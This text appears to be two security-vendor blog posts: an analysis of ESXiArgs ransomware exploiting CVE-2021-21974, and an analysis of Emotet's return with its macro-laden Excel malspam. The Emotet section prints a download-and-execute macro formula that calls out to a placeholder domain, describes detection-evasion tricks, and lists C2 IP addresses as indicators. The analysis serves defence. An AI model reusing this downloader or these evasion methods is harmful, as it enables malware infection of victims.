alt="Figure 1: Known exploited vulnerabilities “age”" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Known exploited vulnerabilities “age”</figcaption></figure>The above chart shouldn’t surprise anyone. Previous research shows that more than 60% of the vulnerabilities found in corporate networks were disclosed on or before 2016. Looking at the graph above, we can see that after the first spike caused by CVE publication is around ~1.5 years; the next period is between two and five years. These are the types of exploits we currently see in the “blitz” attacks by ESXiArgs.Remember <a href="/blog/log4shell-cve-2021-44228-what-you-need-to-know" target="_self">Log4J</a>? It’s still being actively exploited.Because of the complex networks of large enterprises, it generally takes more time to patch vulnerabilities. This also makes the enterprise a perfect victim for cyber threat groups as the following diagram demonstrates.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc3c0d68a4e8b7e86" alt="Figure 2: Reasons why enterprises are often attacked using old vulnerabilities" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc3c0d68a4e8b7e86/63ee61ee723591743bc4db8f/fig02-CVE_organizationFlow.png" height="auto" /><figcaption style = "text-align: center;" >Figure 2: Reasons why enterprises are often attacked using old vulnerabilities</figcaption></figure>There are still a lot of unpatched vulnerabilities. As an example, we looked at a similar vCenter vulnerability with RCE exploit CVE-2021-21985, which according to Shodan has hundreds of potentially exposed vulnerable servers.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt2f4f79228103b952" alt="Figure 3: Exposed vCenter with potential CVE-2021-21985 (7.0.0, 6.5.0, 6.7.0)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2f4f79228103b952/641c782b9c37a23c2e2feba2/fig03-vcenter-vuln.png" height="auto" /><figcaption style = "text-align: center;" >Figure 3: Exposed vCenter with potential CVE-2021-21985 (7.0.0, 6.5.0, 6.7.0)</figcaption></figure>If you are using ESXi, the following critical CVEs should be patched to protect your organization.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltbab0ea5ae6e2257d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbab0ea5ae6e2257d/63ee61ee78d9365b0e5aba26/fig04-vcenter-CVEs.png" alt="Figure 4: vCenter CVEs from CVEdetails.com" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: vCenter CVEs from CVEdetails.com</figcaption></figure><h3>ESXiArgs Initial Vector</h3>The ESXiArgs campaign affected a lot of entities, mainly in France, according to Censys:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7a232be6ccb38131" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7a232be6ccb38131/63ee61ee8144df106174be0b/fig05-censysVictims.png" alt="Figure 5: Affected countries by ESXiArgs according to Censys.com" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: Affected countries by ESXiArgs according to Censys.com</figcaption></figure>As the initial vector the attackers exploited CVE-2021-21974, several POCs can be found in GitHub.The CVE itself is two years old and is part of this <a href="https://www.vmware.com/security/advisories/VMSA-2021-0002.html" target="_blank">security advisory</a>. It exploits OpenSLP in ESXi with a heap-overflow vulnerability that may result in remote code execution. A few days after disclosure approximately 6,700 potentially vulnerable and exposed to the internet vCenter servers were found via Shodan service.It’s important to note that this CVE, like many others, is relevant only if your ESXi instance is exposed to the internet (which is not best practice) or the attacker is already inside your network.In-depth analysis of the CVE-2021-21974 can be found <a href="https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9" target="_blank">here</a>.<h3>Campaign Impact</h3>Analyzing the impacted machines with the same ransom note shows a similar demand: 2.01 to 2.09 BTC (~ $45k).<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt5b856292e122eafa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt5b856292e122eafa/63ee61eeebf0774eed52e0bd/fig06-ransomnote.png" alt="Figure 6: Ransom Note of ESXiArgs" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6: Ransom Note of ESXiArgs</figcaption></figure>Out of all extracted wallets (~2,800) we have found only four (4) that received payments. As an example, a victim from London paid $44,742.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb5c8bb8d41286aa4" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb5c8bb8d41286aa4/63ee61ee4fafdf1128473a60/fig07-payment.png" alt="Figure 7: Ransom payment" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7: Ransom payment</figcaption></figure>Following is the message hosted on the infected server:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltfcd4917c219e0fb0" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltfcd4917c219e0fb0/63ee61eee47ca559926e5229/fig08-demadnpaid.png" alt="Figure 8: Ransom note of the above payment" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: Ransom note of the above payment</figcaption></figure>The payment was completed on 02.03.2023, and as of today, the server is still exposed to the internet, and at the moment of writing, appears to be unpatched.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt273ec42d2ad660aa" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt273ec42d2ad660aa/63ee61ee68b812598c76de7a/fig09-exposed-vcenter.png" alt="Figure 9: Infected ESXi server exposed" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Infected ESXi server exposed</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1fe05bcc8b18b6eb" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1fe05bcc8b18b6eb/63ee61ee2b5f1f5b059f155b/fig10-shodanpaid.png" alt="Figure 10: Affected ESXi server unpatched according to Shodan.io" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: Affected ESXi server unpatched according to Shodan.io</figcaption></figure>We will not get into each payment, but there appear to only be a few out of more than 2000 victims.This small number we believe can be attributed to the best practice of ESXi backups that help companies avoid payment. Additionally, CISA published a tool to restore encrypted virtual machines.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt752516c3429ade8d" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt752516c3429ade8d/63ee61f50773755832f8a1e4/fig11-ESXiArgs-Recover-readme.png" alt="Figure 11: Recover script published by CISA" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: Recover script published by CISA</figcaption></figure>It is worth mentioning that shortly after the above announcement, ESXiArgs released a newer version of the ESXi ransomware changing the encryption process that makes the above script from CISA useless.<h3>Responsibility of the campaign</h3>It is not yet clear who is behind the attack, but there are a few clues pointing to different threat actors.<ol><li>LockBit – They performed similar attacks, and they announced a new ESXi Ransomware variant in January 2023. On the other hand, none of the victims is reflected in their leak site. It could be some affiliates of LockBit acting on their own.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt664b4e5ad5b51e9b" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt664b4e5ad5b51e9b/63ee61f514a7481116d535cf/fig12-LockbitLeaks.png" alt="Figure 12: LockBit leak site" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: LockBit leak site</figcaption></figure> And yes – “Royal Mail Group” leak was published – but that’s another story.</li><li>Babuk – Security researcher Michael Gillespie believes that it appears to be a new strain based on leaked source code from the Babuk ransomware. In the middle of 2022, there was a similar case: CheersCrypt ransomware targeting ESXi that was based on the leaked Babuk source code.</li><li>Nevada – French cloud computing provider OVHCloud backtracked on its initial findings suggesting a link to the Nevada ransomware variant.</li><li>A new threat actor using a combination of previous ESXi ransomware.</li></ol><h3>Attacker Plan</h3><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc0fb5962d42f35d5" alt="Figure 13: Attacker Plan" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc0fb5962d42f35d5/641c77f0f25d792241569bf4/fig13-CampaignFlowESXI.png" height="auto" /><figcaption style = "text-align: center;" >Figure 13: Attacker Plan</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf0eebac84a28d23d" alt="Figure 14: Encrypt.sh script " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf0eebac84a28d23d/63ee61f53b3df420b76444f6/fig14-encrypt.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: Encrypt.sh script</figcaption></figure><h3>Recommendation</h3><ol><li>Patch your ESXi servers or implement the workaround suggested by VMware.</li><li>Do not expose ESXi servers to the internet or whitelist specific IP addresses.</li><li>Implement best–practice vulnerability management – but do not rely only on that. A <a href="/endpoint-security" target="_self">world-class Endpoint Protection Platform (EPP)</a> is still required.</li><li>In case of infection, follow the suggested <a href="https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart/blob/main/ESXiFlowChart3.png" target="_blank">flowchart</a> by CERT-HR:</li></ol><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb2aa780769a67581" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb2aa780769a67581/63ee61f59b18a175e2431ea5/fig15-FlowChartCert.png" alt="Figure 15: Flowchart in case of infection by CERT-HR" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: Flowchart in case of infection by CERT-HR</figcaption></figure><h3>IOCs</h3><table><tbody><tr><td>73c66de7964b86b9fe32563b7d3195b87896a644c2bcdcaea74b81cb5da2a06b</td><td style="width: 15%;">encrypt.sh</td></tr><tr><td>773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878</td><td>vmtools.py</td></tr><tr><td>10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459</td><td>encrypt.sh</td></tr><tr><td>5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722</td><td>encrypt.sh</td></tr><tr><td>11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66</td><td>encrypt</td></tr><tr><td>7f39818a30879b314ffcff70d2e196fabec60ad94551547cf0e19f6bc3055a97</td><td>CVE-2021-21974.py</td></tr><tr><td>773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878</td><td>local.sh</td></tr><tr><td>ee1f73140605bc1475792e4b26102caa2b2ef838590f9f73a1e4a39feda72634</td><td>Encrypt00.sh</td></tr><tr><td>e1d2d6cba7dcc0d87884e9cfdf1a5141dd7649cb8958133fb9bd0659b377ed6e</td><td>Encrypt00.sh</td></tr><tr><td>c13a5bfb4bddfb1b7ce2fa3e6ae4745566490b50b58e3ff1e57c1d1c2f696760</td><td>Encrypt1.sh</td></tr><tr><td>11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66</td><td>Encrypt</td></tr><tr><td>7adde6d89b1e6e5eeaf3aa2e802dcb1c81dae0b3b44550a53d48d75e94a744bf</td><td>Hello (Encrypt.sh)</td></tr></tbody></table><h3>MITRE ATT&CK:</h3><table><thead class="bg-grey"><tr><th style="width: 14%;">Tactic</th><th>Technique</th><th>Description</th><th style="width: 13%;">Observable</th></tr></thead><tbody><tr><td>Execution</td><td>T1059.004 Command and Scripting Interpreter: Unix Shell</td><td>Encrypt.sh execution</td><td>encrypt.sh</td></tr><tr><td>Discovery</td><td>T1083 File and Directory Discovery</td><td>Searching for all VM files</td><td>encrypt.sh</td></tr><tr><td>Discovery</td><td>T1057 Process Discovery</td><td>Killing all processes that may cause deny of access to VM files</td><td>encrypt.sh</td></tr><tr><td>Impact</td><td>T1486 Data Encrypted for Impact</td><td>Encrypting VMs</td><td>encrypt</td></tr></tbody></table><h3>References:</h3><a href="https://github.com/n2x4/Feb2023-CVE-2021-21974-OSINT" target="_blank">https://github.com/n2x4/Feb2023-CVE-2021-21974-OSINT</a><a href="https://github.com/Shadow0ps/CVE-2021-21974" target="_blank">https://github.com/Shadow0ps/CVE-2021-21974</a><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" target="_blank">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a><a href="https://www.vmware.com/security/advisories/VMSA-2021-0002.html" target="_blank">https://www.vmware.com/security/advisories/VMSA-2021-0002.html</a><a href="https://gist.github.com/cablej/b15edac9c45faa258e1b94bc0a454551" target="_blank">https://gist.github.com/cablej/b15edac9c45faa258e1b94bc0a454551</a><a href="https://github.com/cisagov/ESXiArgs-Recover" target="_blank">https://github.com/cisagov/ESXiArgs-Recover</a><a href="https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9" target="_blank">https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9</a><a href="https://www.bleepingcomputer.com/news/security/cheerscrypt-ransomware-linked-to-a-chinese-hacking-group/" target="_blank">https://www.bleepingcomputer.com/news/security/cheerscrypt-ransomware-linked-to-a-chinese-hacking-group/</a><a href="https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart" target="_blank">https://github.com/CERT-hr/ESXI-Ransomware-Removal-FlowChart</a><a href="https://www.cvedetails.com/vulnerability-list/vendor_id-252/product_id-20517/Vmware-Vcenter-Server.html" target="_blank">https://www.cvedetails.com/vulnerability-list/vendor_id-252/product_id-20517/Vmware-Vcenter-Server.html</a><a href="https://www.zdnet.com/article/these-old-security-vulnerabilities-are-creating-new-opportunities-for-hackers/" target="_blank">https://www.zdnet.com/article/these-old-security-vulnerabilities-are-creating-new-opportunities-for-hackers/</a>

No Surprise! ESXiArgs Ransomware Attacks Exploit 2-Year-Old Vulnerability

emotet-blog2.png

<a href="https://www.deepinstinct.com/glossary/emotet-malware" target="_self">Emotet</a> is a prolific malware botnet that originally functioned as a banking trojan when it emerged in 2014. It was spread via spam campaigns, imitating financial statements, transfers, and payment invoices. Emotet is propagated mostly via Office email attachments containing a macro. If enabled, it downloads a malicious PE file (Emotet) which is then executed.The Emotet operation was <a href="https://www.eurojust.europa.eu/news/worlds-most-dangerous-malware-emotet-disrupted-through-global-action" target="_self">disrupted</a> in early 2021, but after few a few months of inactivity for what we will call "summer vacation," it has re-emerged with nearly daily activity since mid-October.<figure style = "margin: auto; text-align: center;width: 710px;"><img asset_uid="blt80698e15f9b02a73" alt="Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*) " src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt80698e15f9b02a73/63767803cca9f010a904d2e4/fig01-emotet-activity-low-july-novemeber.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 1: Emotet activity showing no new spam from mid-July until start of November (Source: MalwareBazaar*)</figcaption></figure>The first thing the botnet operators did upon re-emergence was update currently infected computers with new versions of the malware:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltaa79aa54ea1e2fc3" alt="Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltaa79aa54ea1e2fc3/63767803a3fffc10b9dc368a/fig02-initial-activity-after-vacation.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 2: Observed initial Emotet activity after vacation (Source: Twitter†)</figcaption></figure><h3>Delivery via Thread Hijacking Email&nbsp;</h3>The current wave of Emotet malspam is delivered via “thread hijacking” emails. The attachments come in both password-protected zips as well as plain attachments:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt2ec0c89b190805dd" alt="Figure 3: Email containing a password protected zip attachment" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt2ec0c89b190805dd/63767803b71d091081d0c30b/fig03-emotet-thread-hijacking-email-with-password-protected-zip-file.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 3: Email containing a password protected zip attachment</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7579199abada7ac9" alt="Figure 4: Emotet’s malicious Office attachment without a password protected zip" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7579199abada7ac9/637678030d85671097f17969/fig04-emotet-malicious-office-file-without-password-protected-zip.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 4: Emotet’s malicious Office attachment without a password protected zip</figcaption></figure>&nbsp;<h3>Changes in Emotet Malspam</h3>Before going on vacation, Emotet malspam consisted of XLS files with an Excel 4.0 macro.&nbsp;The files contained a simple social engineering image that asks the victim to enable content which will cause the macro to execute:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf8c6eab37cbba73a" alt="Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf8c6eab37cbba73a/6376780314868d10af0dd24e/fig05-emotet-excel-file-july.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 5: Emotet XLS file from July (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)</figcaption></figure>&nbsp;After vacation ended, the Emotet wave still includes XLS files, however, the social engineering element has changed:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc5c1a7c601b1d9f2" alt="Figure 6: New social engineering lure used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc5c1a7c601b1d9f2/63767803ea930410907d92ab/fig06-new-social-engineering-lure-used-by-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 6: New social engineering lure used by Emotet</figcaption></figure>&nbsp;The victim is asked to copy and execute the file from the templates folder of Microsoft Office.Executing Office files from this location bypasses the security warning and the Excel 4.0 macro is executed automatically when the file is opened:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltbe819b5868652e58" alt="Figure 7: The templates folder is a trusted location allowing auto execution of macros" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltbe819b5868652e58/637678034005df1070afd4a3/fig07-emotet-asks-to-execute-from-trusted-location.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 7: The templates folder is a trusted location allowing auto execution of macros</figcaption></figure>&nbsp;<blockquote>Advice: Cybersecurity and IT teams should either disable trusted locations and/or limit write access to such locations to unprivileged users, as well as proactively hunt for suspicious executions from those locations.</blockquote>&nbsp;Besides this social engineering piece, the techniques used by Emotet didn’t change much. When manually checking the sheets, they look empty, however, they contain hidden values:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt7d1d3fb44095d19c" alt="Figure 8: “Empty” sheets used by Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7d1d3fb44095d19c/637678037a64f810a2985142/fig08-emotet-excel-looks-empty-but-contains-hidden-values.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 8: “Empty” sheets used by Emotet</figcaption></figure>The auto_open macro is also hidden:&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltf86e1c7e91a2a0b1" alt="Figure 9: Hidden column containing “Auto_Open” macro" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltf86e1c7e91a2a0b1/637678035bd399105c6f954a/fig09-emotet-hidden-column-containing-auto_open-macro.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 9: Hidden column containing “Auto_Open” macro</figcaption></figure>The formula concatenates values from different cells to eventually assemble, download, and execute the Emotet DLL. This is done to avoid static detection of common endpoint solutions.The end results should look like this:<pre> =FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://compromised_domain/random/path/","..\oxnv1.ooccxx",0,0),G16) =FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18) </pre>&nbsp;<h3>The Emotet Payload&nbsp;</h3>Emotet operations moved from PE32 to PE64 executables in mid 2022, adding several new features and rebuilding some of its older code. The overall structure remained the same.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt8dd3be555205e6d3" alt="Figure 10: PE64 new Emotet (DetectItEasy)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dd3be555205e6d3/63767803f2301411a4c544d0/fig10-pe64-new-emotet.jpg" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 10: PE64 new Emotet (DetectItEasy)</figcaption></figure>From the configuration extraction of Emotet we can see the malicious IPs list, as well as evidence of them using the epoch4 botnet and the ECDH and ECDSA keys (See IOCs table).In an attempt to look like a legitimate application when scanned, Emotet is using C++ libraries licensed by DinkumWare.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt45389745b5e5e954" alt="Figure 11: Dinkumware C++ library." src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt45389745b5e5e954/637678037140e510ae4a6595/fig11.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 11: Dinkumware C++ library.</figcaption></figure>&nbsp;<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt6e0a2377b690d4b6" alt="Figure 12: Dinkumware website (www.dinkumware.com)" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6e0a2377b690d4b6/63767803e07e1711051cf501/fig12-dinkumware-website.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 12: Dinkumware website (www.dinkumware.com)</figcaption></figure>&nbsp;Additionally, Emotet has a few loops to mimic legitimate behavior during runtime, for example “printing benign strings.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt3a3e5c801db03c70" alt="Figure 13: Print benign strings function" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt3a3e5c801db03c70/637678030c4e351095246a2d/fig13-print-benign-strings-function.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 13: Print benign strings function</figcaption></figure>Even building a Sudoku and checking your board number (not really…)<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt1cf128b7b3064651" alt="Figure 14: Benign String" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt1cf128b7b3064651/637678038db6e810ab779660/fig14-benign-strings.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 14: Benign String</figcaption></figure><h3>The Real Emotet Job</h3>The final DLL is decrypted and uploaded to memory during runtime, making investigation and detection more difficult. Even the API call to VirtualAlloc is obfuscated, like their older version, and the address of the API is retrieved dynamically. The parameters of the call are saved as a STRING and converted to INT during runtime.You can read more on that technique in the <a href="https://www.deepinstinct.com/blog/why-emotets-latest-wave-is-harder-to-catch-than-ever-before" target="_self">previous blog by Deep Instinct</a><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blte2889a1605207f51" alt="Figure 15: VirtualAlloc detection evasion" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blte2889a1605207f51/63767803a32209106e8b2cf0/fig15-virtualalloc-detection-evasion.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 15: VirtualAlloc detection evasion</figcaption></figure>&nbsp;The payload itself is encrypted and then encoded using base64:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltd187c53c7641b63c" alt="Figure 16: Encrypted payload in base64" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltd187c53c7641b63c/63767803da728110eb03c2d3/fig16-encrypted-payload-base64.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 16: Encrypted payload in base64</figcaption></figure>Once the malware is executed, it decodes the base64 text into binary data:<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt61348c5a78f1ec79" alt="Figure 17: Base64 binary data" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt61348c5a78f1ec79/6376780325cf5b10b6e37c0b/fig17-base64-binary-data.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 17: Base64 binary data</figcaption></figure>The binary data is then decrypted and we finally get the payload, easily identified by the “MZ… this program cannot be run in DOS mode.”<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltc549a0aeed623175" alt="Figure 18: Final payload revealed" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc549a0aeed623175/63767803f558fc10bda7868c/fig18-final-payload-revealed.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 18: Final payload revealed</figcaption></figure>Some other artifacts that are similar to the previous generation of Emotet include the following:<ul><li>Empty import table <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt7eba19025e9da703" alt="Figure 19: Empty Import table" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt7eba19025e9da703/63767803fa033a109b5d7452/fig19-empty-import-table.png" /><figcaption >Figure 19: Empty Import table</figcaption></figure>&nbsp;</li><li>Minimal informative string <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="bltac00ef7ddb31ebc6" alt="Figure 20: String of the executable file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltac00ef7ddb31ebc6/63767803ed757210a08922e9/fig20-string-of-executable-files.png" /><figcaption >Figure 20: String of the executable file</figcaption></figure>&nbsp;</li><li>Similar code flow flattening technique <figure style = "float: none;width: auto;max-width:auto;"><img asset_uid="blt8dbdf84e9d7c36e4" alt="Figure 21: Code flow of Emotet" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt8dbdf84e9d7c36e4/63767803cdfe2310972d4fd1/fig21-code-flow-emotet.png" /><figcaption >Figure 21: Code flow of Emotet</figcaption></figure></li></ul>&nbsp;You can read more about these techniques in Deep Instinct’s <a href="https://www.deepinstinct.com/blog/the-re-emergence-of-emotet" target="_self">previous blog about Emotet</a>.The multi-step techniques detailed result in late detection only when the decrypted PE is uploaded to the memory, therefore, we see a low detection rate in VT for the initial DLL, while the decrypted DLL gets a higher detection rate.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="bltb84eb65afeab392a" alt="Figure 22: Initial Emotet Dll" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb84eb65afeab392a/637678039d1a721199be42f9/fig22-initial-emotet-dll.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 22: Initial Emotet Dll</figcaption></figure><figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt9203cd2682aa4c2f" alt="Figure 23: Final Emotet payload" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt9203cd2682aa4c2f/637678032938151067563dd7/fig23-final-emotet-payload.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 23: Final Emotet payload</figcaption></figure>&nbsp;<h3>Conclusion</h3>Emotet has returned to send malspam after a few months of summer break.The current waves don’t show much change from those before their vacation; they’re still trying to bypass detection by making some minor changes, adding benign code blocks, and moving to PE64.Emotet has slightly altered its techniques and TTPs over the years as the threat landscape shifts in favor of new initial infection vectors and new bypassing methods.We wouldn’t be surprised if we saw Emotet shift from Excel 4.0 macros to another initial infection vector that would yield them more successful infections in the near-term future.Deep Instinct customers are protected from the new Emotet campaign by multiple protection layers, both statically and dynamically, resulting in pre-execution prevention.<figure style = "margin: auto; text-align: center;width: auto;"><img asset_uid="blt19ba2662ee21c9f9" alt="Figure 24: Static engine prevention for Emotet’s malicious Office file" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt19ba2662ee21c9f9/6376716ba3fffc10b9dc3657/fig24-deep-instinct-static-analysis-blocked-emotet.png" /><figcaption style = "text-align: center;" style="text-align: center;">Figure 24: Static engine prevention for Emotet’s malicious Office file</figcaption></figure><h3>IOC</h3><table><thead class="bg-grey"><tr><th>&nbsp;</th><th>Password Protected Zip samples</th><th>Plain Attachment samples</th></tr></thead><tbody><tr><td>ZIP</td><td>19c43584bd90e6507ba4a4dad59fdf3a</td><td>N/A</td></tr><tr><td>XLS</td><td>e99144862c6a3bb1d25846e962dc1633</td><td>893f9b10a48073fc3fa0d5c8867f7200</td></tr><tr><td>DLL</td><td>b0ebf252754995807a8fe9dca7a063b8</td><td>bf488b48716275f2e3dc9efc7fea4aea</td></tr><tr><td>DLL Decrypted</td><td colspan="2">236AE63E2AC25B35EDBCECA4443BD95F </td></tr><tr><td>C2</td><td>45.235.8.30:8080 94.23.45.86:4143 119.59.103.152:8080 169.60.181.70:8080 164.68.99.3:8080 172.105.226.75:8080 107.170.39.149:8080 206.189.28.199:8080 1.234.2.232:8080 188.44.20.25:443 186.194.240.217:443 103.43.75.120:443 149.28.143.92:443 159.89.202.34:443 209.97.163.214:443 183.111.227.137:8080 129.232.188.93:443 139.59.126.41:443 110.232.117.186:8080 139.59.56.73:8080 103.75.201.2:443 91.207.28.33:8080 164.90.222.65:443 197.242.150.244:8080 212.24.98.99:8080 51.161.73.194:443 115.68.227.76:8080 159.65.88.10:8080 </td><td>201.94.166.162:443 95.217.221.146:8080 173.212.193.249:8080 82.223.21.224:8080 103.132.242.26:8080 213.239.212.5:443 153.126.146.25:7080 45.176.232.124:443 182.162.143.56:443 169.57.156.166:8080 159.65.140.115:443 163.44.196.120:8080 172.104.251.154:8080 167.172.253.162:8080 91.187.140.35:8080 45.118.115.99:8080 147.139.166.154:8080 72.15.201.15:8080 149.56.131.28:8080 167.172.199.165:8080 101.50.0.91:8080 160.16.142.56:8080 185.4.135.165:8080 104.168.155.143:8080 79.137.35.198:8080 5.135.159.50:443 187.63.160.88:80 </td></tr><tr><td>Eck1</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== </td></tr><tr><td>Eck2</td><td colspan="2">MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov 